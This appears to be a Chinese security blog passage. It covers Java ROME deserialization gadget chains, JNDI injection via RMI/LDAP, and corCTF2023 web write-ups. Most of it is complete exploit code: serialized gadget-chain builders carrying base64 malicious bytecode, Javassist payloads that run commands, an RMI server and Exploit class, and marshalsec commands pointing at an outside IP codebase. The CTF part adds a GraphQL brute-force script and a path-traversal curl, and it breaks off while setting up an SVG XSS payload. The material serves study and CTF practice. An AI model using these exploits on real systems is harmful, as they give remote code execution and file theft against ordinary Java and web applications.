N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "whatever");
setFieldValue(obj, "_class", null);
setFieldValue(obj, "_bytecodes", new byte[][]{code});

ToStringBean bean = new ToStringBean(Templates.class, obj);
ObjectBean objectBean = new ObjectBean(String.class, "whatever");

HashMap map = new HashMap();
map.put(objectBean, "");

setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

XString利用链

com.sun.org.apache.xpath.internal.objects.XString是用于处理 XPath 相关操作的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* XString.equals(Object)
* AbstractMap.equals(Object)
* HashMap<K,V>.putval(hash, key ,value...)
* HashMap<K,V>.readObject(ObjectInputStream)
*
*
*/

这里是利用XString类的equals()调用任意对象的toString方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public boolean equals(Object obj2)
{

if (null == obj2)
return false;

// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}

往上看哪里可以调用XString#equals(),就是HashMap#putVal()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
e = p;
else if (p instanceof TreeNode)
e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
else {
for (int binCount = 0; ; ++binCount) {
if ((e = p.next) == null) {
p.next = newNode(hash, key, value, null);
if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
treeifyBin(tab, hash);
break;
}
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k))))
break;
p = e;
}
}
if (e != null) { // existing mapping for key
V oldValue = e.value;
if (!onlyIfAbsent || oldValue == null)
e.value = value;
afterNodeAccess(e);
return oldValue;
}
}
++modCount;
if (++size > threshold)
resize();
afterNodeInsertion(evict);
return null;
}

HashMap#putVal()会在反序列化过程中被调用,那么这条链子就连上了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class XStringTest {
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");

TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_name", "whatever");
setValue(templates, "_bytecodes", new byte[][]{code});

ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
XString xString = new XString("whatever");

// yy 与 zZ 的 hashCode() 相同,因此才会触发 HashMap 去重操作
Map map1 = new HashMap();
map1.put("yy", toStringBean);
map1.put("zZ", xString);

Map map2 = new HashMap();
map2.put("yy", xString);
map2.put("zZ", toStringBean);

Map map = new HashMap();
map.put(map1, 1);
map.put(map2, 2);

setValue(toStringBean, "_beanClass", Templates.class);
setValue(toStringBean, "_obj", templates);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

加点调料

利用Javassist缩短payload

这样可以跳过恶意类的编译过程

1
2
3
4
5
6
7
8
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 创建EvilTest对象,父类为AbstractTranslet,注入了payload进静态代码块
ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池
classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("EvilTest"); // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置EvilTest的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法,并插入runtime
byte[] code = payload.toBytecode();

除此之外,还可以将_name的值设为一个字符等缩短payload长度

Hashtable利用链

Hashtable可以替换(HashSet也可以替换)作为反序列化入口的HashMap类。如果目标反序列化点过滤了HashMap,我们就可以利用Hashtable进行绕过。

这里也就是要想办法从readObject()最终调用到任意类的hashCode(),这里就有一个中间桥梁的reconstitutionPut方法

跟进Hashtable#readObject(),可以发现调用了Hashtable#reconstitutionPut()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// ...

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}

继续跟进reconstitutionPut()发现可以调用任意对象的hashCode方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

OK,大功告成

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Hashtable;

public class HashtableTest {
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
// 创建EvilTest对象,父类为AbstractTranslet,注入了payload进静态代码块
ClassPool classPool = ClassPool.getDefault(); // 返回默认的类池
classPool.appendClassPath(AbstractTranslet); // 添加AbstractTranslet的搜索路径
CtClass payload = classPool.makeClass("EvilTest"); // 创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); // 设置EvilTest的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); // 创建一个static方法,并插入runtime
byte[] code = payload.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "whatever");
setFieldValue(obj, "_class", null);
setFieldValue(obj, "_bytecodes", new byte[][]{code});

ToStringBean bean = new ToStringBean(Templates.class, obj);
ObjectBean objectBean = new ObjectBean(String.class, "whatever");

Hashtable hashtable = new Hashtable();
hashtable.put(objectBean, "");

setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashtable);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

JdbcRowSetImpl利用链

这次不变化ToStringBean#toString的触发方式了,关注后边的利用方式,已知后边可以调用任意对象的getter方法,结合JNDI注入就可以调用JdbcRowSetImpl#getDatabaseMetaData()完成利用

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class JdbcRowSetImplTest {
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "rmi://localhost:1099/aa";
jdbcRowSet.setDataSourceName(url);

ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
ObjectBean objectBean = new ObjectBean(String.class, "whatever");
HashMap map = new HashMap();
map.put(objectBean, "");
setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

Java安全之JNDI注入

简介

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

Naming就是名称服务,通过名称查找实际对象的服务。值得一提的名称服务为 LDAP,全称为 Lightweight Directory Access Protocol,即轻量级目录访问协议,其名称也是从右到左进行逐级定义,各级以逗号分隔,每级为一个 name/value 对,以等号分隔。比如一个 LDAP 名称如下:

1
cn=John, o=Sun, c=US

即表示在 c=US 的子域中查找 o=Sun 的子域,再在结果中查找 cn=John 的对象。

Directory就是目录服务,目录服务是名称服务的一种拓展,除了名称服务中已有的名称到对象的关联信息外,还允许对象拥有属性(attributes)信息。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索对象。目录服务(Directory Service)提供了对目录中对象(directory objects)的属性进行增删改查的操作。

从设计上,JNDI 独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。JNDI 架构上主要包含两个部分,即 Java 的应用层接口(API)和 SPI。

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:

  • RMI: Java Remote Method Invocation,Java 远程方法调用;
  • LDAP: 轻量级目录访问协议;
  • CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);

利用原理

JNDI基本代码如下

1
2
3
String jndiName= "";  // 指定需要查找name名称
Context context = new InitialContext(); // 初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName); // 通过name发现和查找数据和对象

这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

通过lookup()指定参数中确定查找协议,JDK 中默认支持的 JNDI 自动协议转换以及对应的工厂类如下所示:

协议 schema Context
DNS dns:// com.sun.jndi.url.dns.dnsURLContext
RMI rmi:// com.sun.jndi.url.rmi.rmiURLContext
LDAP ldap:// com.sun.jndi.url.ldap.ldapURLContext
LDAP ldaps:// com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP iiop:// com.sun.jndi.url.iiop.iiopURLContext
IIOP iiopname:// com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP corbaname:// com.sun.jndi.url.corbaname.corbanameURLContextFactory

通过精心构造服务端的返回,我们可以让请求查找的客户端解析远程代码,最终实现远程命令执行。对于不同的内置目录服务有不同的攻击面

JNDI+RMI

RMI的核心特点之一就是动态类加载,假如当前Java虚拟机中并没有此类,它可以去远程URL中去下载这个类的class,而这个class文件可以使用web服务的方式进行托管。

JNDI服务中,RMI服务端除了直接绑定远程对象以外,还可以通过References类来绑定一个外部的远程对象,这个远程对象是当前名称目录系统之外的对象,绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,我们可以直接将对象写在构造方法或者静态代码块中,当被调用时,实例化会默认调用构造方法,以及静态代码块,就在这里实现了任意代码执行

1
2
3
4
5
6
7
8
9
public Class loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {

ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
}

这里写一个Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// victim.java

import javax.naming.Context;
import javax.naming.InitialContext;

public class Victim {

public static void main(String[] args) throws Exception {

String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri); //uri可控

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// RMI.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;

public class RMI {

public static void main(String args[]) throws Exception {

Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Exploit", "Exploit", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
registry.bind("aa", refObjWrapper);

}

}

然后写恶意对象的类,这里要得到回显就略显麻烦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Exploit.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit implements ObjectFactory
{
static {
System.err.println("success");
try {
String cmd = "calc.exe";
Runtime.getRuntime().exec(cmd);
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec("cmd.exe /c dir");
InputStream inputStream = process.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(inputStream, "gb2312"));
while(br.readLine()!=null)
System.out.println(br.readLine());

} catch ( Exception e ) {
e.printStackTrace();
}
}

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

将这个恶意类编译后放到new Reference()绑定的HTTP目录下,注意这里编译的 java 版本和前面版本一致

1
2
javac Exploit.java
python -m http.server 8000

然后让Victim访问RMI即可执行命令

因为在6u141,7u131,8u121之后,新增了 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase选项,默认为false,禁止RMICORBA协议使用远程codebase选项,虽然该更新阻止了RMICORBA触发漏洞,但是我们仍然可以使用LDAP协议进行攻击。随后在6u211,7u201.8u191中,又新增了 com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase选项

JNDI+LDAP

ldap的属性值中可以被用来存储Java对象,通过Java序列化,或者 JNDI Reference 来存储。运行后客户端程序会获取并解析 LDAP 记录,从而根据属性名称去获取并实例化远程对象

一般我们不需要自主搭建服务器,可以借助工具marchalsec来实现

1
mvn clean package -DskipTests 

通过 maven 搭建一下,然后进入 target 目录,有生成的jar包

1
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]

例如LDAP Server使用工具起

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://150.158.173.89:8888/#Exploit" 9999

绕过高版本限制

两种绕过方法如下:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

详细可以参考

如何绕过高版本 JDK 的限制进行 JNDI 注入利用 | KINGX

探索高版本 JDK 下 JNDI 漏洞的利用方法 | 浅蓝

最后

JNDI 注入的漏洞的关键在于动态协议切换导致请求了攻击者控制的目录服务,进而导致加载不安全的远程代码导致代码执行。漏洞虽然出现在 InitialContext 及其子类 (InitialDirContext 或 InitialLdapContext) 的 lookup 上,但也有许多其他的方法间接调用了 lookup(),比如:

  • InitialContext.rename()
  • InitialContext.lookupLink()

或者在一些常见外部类中调用了 lookup(),比如:

  • org.springframework.transaction.jta.JtaTransactionManager.readObject()
  • com.sun.rowset.JdbcRowSetImpl.execute()
  • javax.management.remote.rmi.RMIConnector.connect()
  • org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

这些地方一旦可控都可能成为 JNDI 的注入点,或者结合其他利用链反序列化

corCTF2023 复现

0day | 1 solve / 1 point

待完善…

force | 118 solves / 124 points

Welcome to Frogshare, the hoppiest place to share your beloved amphibians with fellow frog fanatics! But hold on to your lily pads, our admin reviews your content before its published…

Please inform our admin once you shared a frog: Admin Bot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import fastify from 'fastify'
import mercurius from 'mercurius'
import { randomInt } from 'crypto'
import { readFile } from 'fs/promises'

const app = fastify({
logger: true
});
const index = await readFile('./index.html', 'utf-8');

const secret = randomInt(0, 10 ** 5); // 1 in a 100k??

let requests = 10;

setInterval(() => requests = 10, 60000);

await app.register(mercurius, {
schema: `type Query {
flag(pin: Int): String
}`,
resolvers: {
Query: {
flag: (_, { pin }) => {
if (pin != secret) {
return 'Wrong!';
}
return process.env.FLAG || 'corctf{test}';
}
}
},
routes: false
});

app.get('/', (req, res) => {
return res.header('Content-Type', 'text/html').send(index);
});

app.post('/', async (req, res) => {
if (requests <= 0) {
return res.send('no u')
}
requests --;
return res.graphql(req.body);
});

app.listen({ host: '0.0.0.0', port: 80 });

简单审计一下,发现就是获取PIN值,但PIN值是随机生成的,无法预测。

而且蛮力爆破也不可行,setInterval(() => requests = 10, 60000);使用 setInterval 函数,每隔 60000 毫秒(即每分钟)将 requests 的值重置为 10,也就是每分钟可以处理的请求数量。

那怎么办呢,那就从GraphQL下手吧,既然不能产生大量请求,那能不能一个请求包含很多很多查询呢?

答案是可以的,GraphQL允许使用别名编写相同类型的多个查询

那么就可以一次请求10^4个查询,这样就能满足60秒最多10次查询的限制了

1
2
3
4
5
6
7
8
9
10
11
import requests

url = 'https://web-force-force-ec1d52a6037008bc.be.ax/'

for j in range(10):
payload = "{"
for i in range(10000):
x = j * 10000 + i
payload += f"x{x}:flag(pin:{x}),"
payload += "}"
print(requests.post(url, data=payload, headers={'Content-Type':'text/plain;charset=UTF-8'}).text)

msfrognymize | 64 solves / 147 points

At CoR we care greatly about privacy (especially FizzBuzz). For this reason we anonymize any selfies before sharing them on Discord. We even encrypt the metadata using a special key!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import os
import piexif
import tempfile
import uuid

from PIL import Image, ExifTags
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, hmac
from flask import Flask, request, send_file, render_template
from urllib.parse import unquote
from werkzeug.utils import secure_filename

from celery_config import celery_app
from tasks import process_image

app = Flask(__name__)

celery_app.conf.update(app.config)

UPLOAD_FOLDER = 'uploads/'
ENCRYPTION_KEY = open("/flag.txt", "rb").readline()


def hmac_sha256(data):
h = hmac.HMAC(ENCRYPTION_KEY, hashes.SHA256(), backend=default_backend())
h.update(data)
return h.finalize().hex()


def encrypt_exif_data(exif_data):
new_exif_data = {}
for tag, value in exif_data.items():
if tag in ExifTags.TAGS:
tag_name = ExifTags.TAGS[tag]
if tag_name == "Orientation":
new_exif_data[tag] = 1
else:
new_exif_data[tag] = value
else:
new_exif_data[tag] = hmac_sha256(value)
return new_exif_data


@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
file = request.files['file']
if file:
try:
img = Image.open(file)
if img.format != "JPEG":
return "Please upload a valid JPEG image.", 400

exif_data = img._getexif()
encrypted_exif = None
if exif_data:
encrypted_exif = piexif.dump(encrypt_exif_data(exif_data))
filename = secure_filename(file.filename)
temp_path = os.path.join(tempfile.gettempdir(), filename)
img.save(temp_path)

unique_id = str(uuid.uuid4())
new_file_path = os.path.join(UPLOAD_FOLDER, f"{unique_id}.png")
process_image.apply_async(args=[temp_path, new_file_path, encrypted_exif])

return render_template("processing.html", image_url=f"/anonymized/{unique_id}.png")

except Exception as e:
return f"Error: {e}", 400

return render_template("index.html")


@app.route('/anonymized/<image_file>')
def serve_image(image_file):
file_path = os.path.join(UPLOAD_FOLDER, unquote(image_file))
if ".." in file_path or not os.path.exists(file_path):
return f"Image {file_path} cannot be found.", 404
return send_file(file_path, mimetype='image/png')


if __name__ == '__main__':
app.run()

/anonymized/<image_file>路由的os.path.join()函数存在绝对路径拼接漏洞,类似于[NISACTF 2022]babyupload

绝对路径拼接漏洞

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

因此image_file经url解码后为/flag.txt时,uploads/与其路径拼接,那么uploads/ 将被删除,读取到的就是根目录下的 flag.txt 文件。

1
curl https://msfrognymize.be.ax/anonymized/%252fflag.txt

frogshare | 33 solves / 193 points

Welcome to Frogshare, the hoppiest place to share your beloved amphibians with fellow frog fanatics! But hold on to your lily pads, our admin reviews your content before its published…

Please inform our admin once you shared a frog: Admin Bot

首先有一个注册登录界面,然后可以发布自己的共享青蛙,既然给了Admin Bot,那想必是客户端漏洞了

先看看共享青蛙是如何被渲染的叭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// Frog.js
import { useMemo, memo } from "react";
import "external-svg-loader";
import { Tooltip } from "react-tooltip";
import useIsMounted from "@/hooks/useIsMounted";

const Frog = memo(({ frog }) => {
const { isMounted } = useIsMounted();

const { name, img, creator } = frog;

const svgProps = useMemo(() => {
try {
return JSON.parse(frog.svgProps);
} catch {
return null;
}
}, [frog.svgProps]);

if (!isMounted) return null;
return (
<>
<div
className="flex flex-col bg-white p-8 rounded-xl shadow-md text-center h-[169px] w-[169px] mr-4 mb-4 relative"
data-tooltip-id="frog-tooltip"
data-tooltip-content={`By ${creator}`}
>
<div className="flex justify-center w-full h-[64px]">
<svg data-src={img} {...svgProps} />
</div>
<div className="text-lg">{name}</div>
</div>
<Tooltip id="frog-tooltip" />
</>
);
});

Frog.displayName = "Frog";

export default Frog;

这里会使用external-svg-loader将来自外部源的 SVG使用 <img>标签呈现,svg文件可控会不会存在XSS的可能呢

Note: Because SVG Loader fetches file using XHRs, it’s limited by CORS policies of the browser. So you need to ensure that correct Access-Control-Allow-Origin headers are sent with the file being served or that the files are hosted on your own domain.
注意:由于 SVG 加载程序使用 XHR 获取文件,因此它受到浏览器的 CORS 策略的限制。因此,您需要确保随要提供的文件一起发送正确的 Access-Control-Allow-Origin 标头,或者文件托管在您自己的域中

CORS需要后端应用进行配置,因此,这是一种后端跨域的配置方式,这种方式很容易理解,一个陌生的请求来访问你的服务器,自然需要进行授权。为了解决CORS问题,这里不能简单的用python -m http.server 8080托管可控 svg 文件,而可以通过 flask 的 flask-cors 解决跨域问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
from flask import Flask, send_file
from flask_cors import CORS

app = Flask(__name__)
# Access-Control-Allow-Origin: *
CORS(app)

@app.route('/payload')
def serveSvgPayload():
svgPayloadFile = 'payload.svg'
return send_file(svgPayloadFile)

if __name__ == '__main__':
app.run(port=80, debug=True)

继续,那么什么样的 svg 文件才能包含并执行恶意 javascript 代码呢,这里可以参考PayloadsAllTheThings

1
2
3
4
5
6
7
8
9
<?xml version="1.0" standalone="no"?>
